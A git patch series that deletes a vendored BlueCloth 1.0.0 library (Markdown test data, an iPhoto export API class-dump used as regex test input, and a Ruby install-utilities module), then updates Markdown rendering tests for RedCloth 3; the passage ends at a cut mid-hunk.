-1,67 +0,0 @@ -* xx xxxxxxx xx xxxxxx. - -* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: - - * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx - xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx - xxx xx xxxxxxxxx xx xxxx. - - xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx - xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. - - * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx - xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx - xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. - - xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) - xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx - xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. - - xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx - xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, - xxxx xx xxxxxx xxx xxxx. - - * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx - xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx - xxxxxx xxx-xxxx xxxxx. - - xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. - -* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx - xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx - xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx - xx xxx xxxxxxxxx xxxx-xxx. - -* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx - xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx - xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. - -* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx - xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. - - x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx - xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx - xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: - - * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx - xxxxxxxxxx). - - * xxxxxxxxxxx xx xxxx xxxxxxx xxx. - - * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. - - * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. - - * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. - -* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx - xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx - xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. - -* xx x xxxxx xxxx: - - * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, - xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, - xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx - -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx - xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt deleted file mode 100755 index cead3169..00000000 --- a/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt +++ /dev/null @@ -1,281 +0,0 @@ -iFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. - -## Getting Started - -Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. - -Here's what I found: - -* [Writing Plugins for Cocoa][1] - -[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html - -## The iPhoto Export API - -Using the `class-dump` tool, I dumped the export API: - - /* - * Generated by class-dump 3.0. - * - * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. - */ - - /* - * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto - */ - - @protocol ExportImageProtocol - - (unsigned int)imageCount; - - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; - - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; - - (id)imageCaptionAtIndex:(unsigned int)fp16; - - (id)imagePathAtIndex:(unsigned int)fp16; - - (id)thumbnailPathAtIndex:(unsigned int)fp16; - - (id)imageDictionaryAtIndex:(unsigned int)fp16; - - (float)imageAspectRatioAtIndex:(unsigned int)fp16; - - (id)albumName; - - (id)albumMusicPath; - - (unsigned int)albumCount; - - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; - - (id)window; - - (void)enableControls; - - (void)disableControls; - - (void)clickExport; - - (void)startExport; - - (void)cancelExport; - - (void)cancelExportBeforeBeginning; - - (id)directoryPath; - - (id)temporaryDirectory; - - (BOOL)doesFileExist:(id)fp16; - - (BOOL)doesDirectoryExist:(id)fp16; - - (BOOL)createDir:(id)fp16; - - (id)uniqueSubPath:(id)fp12 child:(id)fp20; - - (id)makeUniquePath:(id)fp16; - - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; - - (id)makeUniqueFileNameWithTime:(id)fp16; - - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; - - (id)pathForFSSpec:(id)fp16; - - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; - - (id)pathForFSRef:(struct FSRef *)fp16; - - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; - - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; - - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; - - (BOOL)isAliasFileAtPath:(id)fp16; - - (id)pathContentOfAliasAtPath:(id)fp16; - - (id)stringByResolvingAliasesInPath:(id)fp16; - - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; - - (id)validFilename:(id)fp16; - - (id)getExtensionForImageFormat:(unsigned int)fp16; - - (unsigned int)getImageFormatForExtension:(id)fp16; - - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; - - (void *)createThumbnailer; - - (void *)retainThumbnailer:(void *)fp16; - - (void *)autoreleaseThumbnailer:(void *)fp16; - - (void)releaseThumbnailer:(void *)fp16; - - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; - - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; - - (int)thumbnailerQuality:(void *)fp16; - - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; - - (float)thumbnailerRotation:(void *)fp16; - - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; - - (unsigned int)thumbnailerOutputFormat:(void *)fp16; - - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; - - (id)thumbnailerOutputExtension:(void *)fp16; - - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; - - (struct _NSSize)lastImageSize:(void *)fp20; - - (struct _NSSize)lastThumbnailSize:(void *)fp16; - @end - - @protocol ExportPluginBoxProtocol - - (BOOL)performKeyEquivalent:(id)fp16; - @end - - @protocol ExportPluginProtocol - - (id)initWithExportImageObj:(id)fp16; - - (id)settingsView; - - (id)firstView; - - (id)lastView; - - (void)viewWillBeActivated; - - (void)viewWillBeDeactivated; - - (id)requiredFileType; - - (BOOL)wantsDestinationPrompt; - - (id)getDestinationPath; - - (id)defaultFileName; - - (id)defaultDirectory; - - (BOOL)treatSingleSelectionDifferently; - - (BOOL)validateUserCreatedPath:(id)fp16; - - (void)clickExport; - - (void)startExport:(id)fp16; - - (void)performExport:(id)fp16; - - (CDAnonymousStruct12 *)progress; - - (void)lockProgress; - - (void)unlockProgress; - - (void)cancelExport; - - (id)name; - - (id)description; - @end - - @interface ExportController : NSObject - { - id mWindow; - id mExportView; - id mExportButton; - id mImageCount; - ExportMgr *mExportMgr; - ExportMgrRec *mCurrentPluginRec; - ProgressController *mProgressController; - BOOL mCancelExport; - NSTimer *mTimer; - NSString *mDirectoryPath; - } - - - (void)awakeFromNib; - - (void)dealloc; - - (id)currentPlugin; - - (id)currentPluginRec; - - (void)setCurrentPluginRec:(id)fp12; - - (id)directoryPath; - - (void)setDirectoryPath:(id)fp12; - - (void)show; - - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; - - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; - - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; - - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; - - (BOOL)filesWillFitOnDisk; - - (void)export:(id)fp12; - - (void)_exportThread:(id)fp12; - - (void)_exportProgress:(id)fp12; - - (void)startExport:(id)fp12; - - (void)finishExport; - - (void)cancelExport; - - (void)cancel:(id)fp12; - - (void)enableControls; - - (id)window; - - (void)disableControls; - - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; - - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; - - (void)selectExporter:(id)fp12; - - (id)exportView; - - (BOOL)_hasPlugins; - - (void)_resizeExporterToFitView:(id)fp12; - - (void)_updateImageCount; - - @end - - @interface ExportMgr : NSObject - { - ArchiveDocument *mDocument; - NSMutableArray *mExporters; - Album *mExportAlbum; - NSArray *mSelection; - ExportController *mExportController; - } - - + (id)exportMgr; - + (id)exportMgrNoAlloc; - - (id)init; - - (void)dealloc; - - (void)releasePlugins; - - (void)setExportController:(id)fp12; - - (id)exportController; - - (void)setDocument:(id)fp12; - - (id)document; - - (void)updateDocumentSelection; - - (unsigned int)count; - - (id)recAtIndex:(unsigned int)fp12; - - (void)scanForExporters; - - (unsigned int)imageCount; - - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; - - (id)imagePathAtIndex:(unsigned int)fp12; - - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; - - (id)imageCaptionAtIndex:(unsigned int)fp12; - - (id)thumbnailPathAtIndex:(unsigned int)fp12; - - (id)imageDictionaryAtIndex:(unsigned int)fp12; - - (float)imageAspectRatioAtIndex:(unsigned int)fp12; - - (id)albumName; - - (id)albumMusicPath; - - (unsigned int)albumCount; - - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; - - (id)imageRecAtIndex:(unsigned int)fp12; - - (id)currentAlbum; - - (void)enableControls; - - (void)disableControls; - - (id)window; - - (void)clickExport; - - (void)startExport; - - (void)cancelExport; - - (void)cancelExportBeforeBeginning; - - (id)directoryPath; - - (void)_copySelection:(id)fp12; - - (id)temporaryDirectory; - - (BOOL)doesFileExist:(id)fp12; - - (BOOL)doesDirectoryExist:(id)fp12; - - (BOOL)createDir:(id)fp12; - - (id)uniqueSubPath:(id)fp12 child:(id)fp16; - - (id)makeUniquePath:(id)fp12; - - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; - - (id)makeUniqueFileNameWithTime:(id)fp12; - - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; - - (id)pathForFSSpec:(id)fp12; - - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; - - (id)pathForFSRef:(struct FSRef *)fp12; - - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; - - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; - - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; - - (BOOL)isAliasFileAtPath:(id)fp12; - - (id)pathContentOfAliasAtPath:(id)fp12; - - (id)stringByResolvingAliasesInPath:(id)fp12; - - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; - - (id)validFilename:(id)fp12; - - (id)getExtensionForImageFormat:(unsigned int)fp12; - - (unsigned int)getImageFormatForExtension:(id)fp12; - - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; - - (void *)createThumbnailer; - - (void *)retainThumbnailer:(void *)fp12; - - (void *)autoreleaseThumbnailer:(void *)fp12; - - (void)releaseThumbnailer:(void *)fp12; - - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; - - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; - - (int)thumbnailerQuality:(void *)fp12; - - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; - - (float)thumbnailerRotation:(void *)fp12; - - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; - - (unsigned int)thumbnailerOutputFormat:(void *)fp12; - - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; - - (id)thumbnailerOutputExtension:(void *)fp12; - - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; - - (struct _NSSize)lastImageSize:(void *)fp16; - - (struct _NSSize)lastThumbnailSize:(void *)fp16; - - @end - - @interface ExportMgrRec : NSObject - { - NSString *mPath; - NSBundle *mBundle; - id mPlugin; - struct _NSSize mViewSize; - } - - - (void)dealloc; - - (BOOL)isEqual:(id)fp12; - - (id)description; - - (id)initWithPath:(id)fp12; - - (id)path; - - (id)bundle; - - (id)bundleInfo; - - (BOOL)isValidExportPlugin; - - (BOOL)loadPlugin; - - (id)exportPlugin; - - (void)unloadPlugin; - - (id)view; - - (struct _NSSize)viewSize; - - (void)setPath:(id)fp12; - - (void)setBundle:(id)fp12; - - @end - diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb deleted file mode 100755 index f543b63a..00000000 --- a/vendor/bluecloth-1.0.0/utils.rb +++ /dev/null @@ -1,553 +0,0 @@ -# -# Install/distribution utility functions -# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2001-2004, The FaerieMUD Consortium. -# -# This is free software. You may use, modify, and/or redistribute this -# software under the terms of the Perl Artistic License. (See -# http://language.perl.com/misc/Artistic.html) -# - - -BEGIN { - require 'find' - - begin - require 'readline' - include Readline - rescue LoadError => e - $stderr.puts "Faking readline..." - def readline( prompt ) - $stderr.print prompt.chomp - return $stdin.gets.chomp - end - end -} - -class File - Win32Exts = %w{.exe .com .bat} - - def self::which( prog, path=ENV['PATH'] ) - path.split(File::PATH_SEPARATOR).each {|dir| - # If running under Windows, look for prog + extensions - if File::ALT_SEPARATOR - ext = Win32Exts.find_all {|ext| - f = File::join(dir, prog+ext) - File::executable?(f) && !File::directory?(f) - } - ext.each {|f| - f = File::join( dir, prog + f ).gsub(%r:/:,'\\') - if block_given? then yield( f ) else return f end - } - else - f = File::join( dir, prog ) - if File::executable?( f ) && ! File::directory?( f ) - if block_given? then yield(f) else return f end - end - end - } - end - -end - - -module UtilityFunctions - - # The list of regexen that eliminate files from the MANIFEST - ANTIMANIFEST = [ - /makedist\.rb/, - /\bCVS\b/, - /~$/, - /^#/, - %r{docs/html}, - %r{docs/man}, - /\bTEMPLATE\.\w+\.tpl\b/, - /\.cvsignore/, - /\.s?o$/, - ] - AMRegexp = Regexp::union( *ANTIMANIFEST ) - - # Set some ANSI escape code constants (Shamelessly stolen from Perl's - # Term::ANSIColor by Russ Allbery and Zenin - AnsiAttributes = { - 'clear' => 0, - 'reset' => 0, - 'bold' => 1, - 'dark' => 2, - 'underline' => 4, - 'underscore' => 4, - 'blink' => 5, - 'reverse' => 7, - 'concealed' => 8, - - 'black' => 30, 'on_black' => 40, - 'red' => 31, 'on_red' => 41, - 'green' => 32, 'on_green' => 42, - 'yellow' => 33, 'on_yellow' => 43, - 'blue' => 34, 'on_blue' => 44, - 'magenta' => 35, 'on_magenta' => 45, - 'cyan' => 36, 'on_cyan' => 46, - 'white' => 37, 'on_white' => 47 - } - - ErasePreviousLine = "\033[A\033[K" - - - ############### - module_function - ############### - - # Create a string that contains the ANSI codes specified and return it - def ansiCode( *attributes ) - return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] - attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') - if attr.empty? - return '' - else - return "\e[%sm" % attr - end - end - - - # Test for the presence of the specified library, and output a - # message describing the test using nicename. If nicename - # is nil, the value in library is used to build a default. - def testForLibrary( library, nicename=nil ) - nicename ||= library - message( "Testing for the #{nicename} library..." ) - found = false - - begin - require library - rescue LoadError => err - message "no found (%s)\n" % err.message - else - message "found\n" - found = true - end - - return found - end - - - # Test for the presence of the specified library, and output a - # message describing the problem using nicename. If - # nicename is nil, the value in library is used - # to build a default. If raaUrl and/or downloadUrl are - # specified, they are also use to build a message describing how to find the - # required library. If fatal is true, a missing library - # will cause the program to abort. - def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) - nicename ||= library - unless testForLibrary( library, nicename ) - msgs = [ "You are missing the required #{nicename} library.\n" ] - msgs << "RAA: #{raaUrl}\n" if raaUrl - msgs << "Download: #{downloadUrl}\n" if downloadUrl - if fatal - abort msgs.join('') - else - errorMessage msgs.join('') - end - end - return true - end - - ### Output msg as a ANSI-colored program/section header (white on - ### blue). - def header( msg ) - msg.chomp! - $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output msg to STDERR and flush it. - def message( msg ) - $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output the specified msg as an ANSI-colored error message - ### (white on red). - def errorMessage( msg ) - message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) - end - - ### Output the specified msg as an ANSI-colored debugging message - ### (yellow on blue). - def debugMsg( msg ) - return unless $DEBUG - msg.chomp! - $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) - $stderr.flush - end - - ### Erase the previous line (if supported by your terminal) and output the - ### specified msg instead. - def replaceMessage( msg ) - print ErasePreviousLine - message( msg ) - end - - ### Output a divider made up of length hyphen characters. - def divider( length=75 ) - puts "\r" + ("-" * length ) - end - alias :writeLine :divider - - ### Output the specified msg colored in ANSI red and exit with a - ### status of 1. - def abort( msg ) - print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" - Kernel.exit!( 1 ) - end - - ### Output the specified promptString as a prompt (in green) and - ### return the user's input with leading and trailing spaces removed. - def prompt( promptString ) - promptString.chomp! - return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip - end - - ### Prompt the user with the given promptString via #prompt, - ### substituting the given default if the user doesn't input - ### anything. - def promptWithDefault( promptString, default ) - response = prompt( "%s [%s]" % [ promptString, default ] ) - if response.empty? - return default - else - return response - end - end - - ### Search for the program specified by the given progname in the - ### user's PATH, and return the full path to it, or nil if - ### no such program is in the path. - def findProgram( progname ) - ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| - file = File.join( d, progname ) - return file if File.executable?( file ) - } - return nil - end - - ### Using the CVS log for the given file attempt to guess what the - ### next release version might be. This only works if releases are tagged - ### with tags like 'RELEASE_x_y'. - def extractNextVersionFromTags( file ) - message "Attempting to extract next release version from CVS tags for #{file}...\n" - raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) - cvsPath = findProgram( 'cvs' ) or - raise RuntimeError, "Cannot find the 'cvs' program. Aborting." - - output = %x{#{cvsPath} log #{file}} - release = [ 0, 0 ] - output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| - if $1.to_i > release[0] || $2.to_i > release[1] - release = [ $1.to_i, $2.to_i ] - replaceMessage( "Found %d.%02d...\n" % release ) - end - } - - if release[1] >= 99 - release[0] += 1 - release[1] = 1 - else - release[1] += 1 - end - - return "%d.%02d" % release - end - - - ### Write a new manifest file with the given +named+, moving any current one - ### aside with an ".old" suffix if +backup+ is true. - def makeManifest( name="MANIFEST", backup=true ) - message "Making manifest file '#{name}'" - - # Move an old one aside if a backup is desired - if backup and File::exists?( name ) - File::rename( name, name + ".old" ) - end - - File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| - Find::find( "." ) do |file| - Find.prune if AMRegexp =~ file - Find.prune if %r{/\.} =~ file - Find.prune if /TEMPLATE/ =~ file - next if File::directory?( file ) - - ofh.puts file - end - } - end - - - ### Read the specified manifestFile, which is a text file - ### describing which files to package up for a distribution. The manifest - ### should consist of one or more lines, each containing one filename or - ### shell glob pattern. - def readManifest( manifestFile="MANIFEST" ) - message "Reading manifest..." - raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile - - manifest = IO::readlines( manifestFile ).collect {|line| - line.chomp - }.select {|line| - line !~ /^(\s*(#.*)?)?$/ - } - - filelist = [] - for pat in manifest - $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE - filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} - end - - message "found #{filelist.length} files.\n" - return filelist - end - - - ### Given a filelist like that returned by #readManifest, remove - ### the entries therein which match the Regexp objects in the given - ### antimanifest and return the resultant Array. - def vetManifest( filelist, antimanifest=ANITMANIFEST ) - origLength = filelist.length - message "Vetting manifest..." - - for regex in antimanifest - if $VERBOSE - message "\n\tPattern /#{regex.source}/ removed: " + - filelist.find_all {|file| regex.match(file)}.join(', ') - end - filelist.delete_if {|file| regex.match(file)} - end - - message "removed #{origLength - filelist.length} files from the list.\n" - return filelist - end - - ### Combine a call to #readManifest with one to #vetManifest. - def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) - vetManifest( readManifest(manifestFile), antimanifest ) - end - - ### Given a documentation catalogFile, extract the title, if - ### available, and return it. Otherwise generate a title from the name of - ### the CVS module. - def findRdocTitle( catalogFile="docs/CATALOG" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Title: Foo Bar Module - title = findCatalogKeyword( 'title', catalogFile ) - - # If that doesn't work for some reason, try grabbing the name of the CVS - # repository the directory belongs to. - if title.nil? && File::directory?( "CVS" ) && - File::exists?( "CVS/Repository" ) - title = File::read( "CVS/Repository" ).chomp - end - - # As a last resort, use the name of the project directory - if title.nil? - distdir = File::dirname( __FILE__ ) - distdir = File::dirname( distdir ) if /docs$/ =~ distdir - title = File::basename( distdir ) - end - - return title - end - - ### Given a documentation catalogFile, extract the name of the file - ### to use as the initally displayed page. If extraction fails, the - ### +default+ will be used if it exists. Returns +nil+ if there is no main - ### file to be found. - def findRdocMain( catalogFile="docs/CATALOG", default="README" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Main: Foo Bar Module - main = findCatalogKeyword( 'main', catalogFile ) - - # Try to make some educated guesses if that doesn't work - if main.nil? - basedir = File::dirname( __FILE__ ) - basedir = File::dirname( basedir ) if /docs$/ =~ basedir - - if File::exists?( File::join(basedir, default) ) - main = default - end - end - - return main - end - - - ### Given a documentation catalogFile, extract an upload URL for - ### RDoc. - def findRdocUpload( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'upload', catalogFile ) - end - - - ### Given a documentation catalogFile, extract a CVS web frontend - ### URL for RDoc. - def findRdocCvsURL( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'webcvs', catalogFile ) - end - - - ### Given a documentation catalogFile, try extracting the given - ### +keyword+'s value from it. Keywords are lines that look like: - ### # : - ### Returns +nil+ if the catalog file was unreadable or didn't contain the - ### specified +keyword+. - def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) - val = nil - - if File::exists? catalogFile - message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile - File::foreach( catalogFile ) {|line| - debugMsg( "Examining line #{line.inspect}..." ) - val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line - } - end - - return val - end - - - ### Given a documentation catalogFile, which is in the same format - ### as that described by #readManifest, read and expand it, and then return - ### a list of those files which appear to have RDoc documentation in - ### them. If catalogFile is nil or does not exist, the MANIFEST - ### file is used instead. - def findRdocableFiles( catalogFile="docs/CATALOG" ) - startlist = [] - if File.exists? catalogFile - message "Using CATALOG file (%s).\n" % catalogFile - startlist = getVettedManifest( catalogFile ) - else - message "Using default MANIFEST\n" - startlist = getVettedManifest() - end - - message "Looking for RDoc comments in:\n" if $VERBOSE - startlist.select {|fn| - message " #{fn}: " if $VERBOSE - found = false - File::open( fn, "r" ) {|fh| - fh.each {|line| - if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} - found = true - break - end - } - } - - message( (found ? "yes" : "no") + "\n" ) if $VERBOSE - found - } - end - - ### Open a file and filter each of its lines through the given block a - ### line at a time. The return value of the block is used as the - ### new line, or omitted if the block returns nil or - ### false. - def editInPlace( file ) # :yields: line - raise "No block specified for editing operation" unless block_given? - - tempName = "#{file}.#{$$}" - File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| - File::unlink( tempName ) - File::open( file, File::RDONLY ) {|fh| - fh.each {|line| - newline = yield( line ) or next - tempfile.print( newline ) - } - } - - tempfile.seek(0) - - File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| - newfile.print( tempfile.read ) - } - } - end - - ### Execute the specified shell command, read the results, and - ### return them. Like a %x{} that returns an Array instead of a String. - def shellCommand( *command ) - raise "Empty command" if command.empty? - - cmdpipe = IO::popen( command.join(' '), 'r' ) - return cmdpipe.readlines - end - - ### Execute a block with $VERBOSE set to +false+, restoring it to its - ### previous value before returning. - def verboseOff - raise LocalJumpError, "No block given" unless block_given? - - thrcrit = Thread.critical - oldverbose = $VERBOSE - begin - Thread.critical = true - $VERBOSE = false - yield - ensure - $VERBOSE = oldverbose - Thread.critical = false - end - end - - - ### Try the specified code block, printing the given - def try( msg, bind=nil ) - result = nil - if msg =~ /^to\s/ - message = "Trying #{msg}..." - else - message = msg - end - - begin - rval = nil - if block_given? - rval = yield - else - file, line = caller(1)[0].split(/:/,2) - rval = eval( msg, bind, file, line.to_i ) - end - - result = rval.inspect - rescue Exception => err - if err.backtrace - nicetrace = err.backtrace.delete_if {|frame| - /in `(try|eval)'/ =~ frame - }.join("\n\t") - else - nicetrace = "Exception had no backtrace" - end - - result = err.message + "\n\t" + nicetrace - ensure - puts result - end - end - - def time - start = Time::now - stimes = Process::times - rval = yield - etimes = Process::times - $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ - etimes.utime - stimes.utime, - etimes.stime - stimes.stime, - Time::now.to_f - start.to_f, - ] - - return rval - end - -end From f9b213cb82d21b50e212a31b3414a6ccccb6cd96 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 19:20:43 +0000 Subject: [PATCH 177/529] Fixed Markdown tests to match RedCloth 3 rendering (which is slightly different from BlueCloth) --- test/unit/revision_test.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 17d650e3..1d16eb9d 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -50,9 +50,9 @@ class RevisionTest < Test::Unit::TestCase @web.markup = :markdown assert_markup_parsed_as( - %{

          My Headline

          \n\n

          that } + + %{

          My Headline

          \n\n\n\t

          that } + %{Smart Engine GUI?

          }, - "My Headline\n===========\n\n that SmartEngineGUI") + "My Headline\n===========\n\nthat SmartEngineGUI") code_block = [ 'This is a code block:', @@ -64,8 +64,8 @@ class RevisionTest < Test::Unit::TestCase ].join("\n") assert_markup_parsed_as( - %{

          This is a code block:

          \n\n
          def a_method(arg)\n} +
          -	    %{return ThatWay\n
          \n\n

          Nice!

          }, + %{

          This is a code block:

          \n\n\n\t
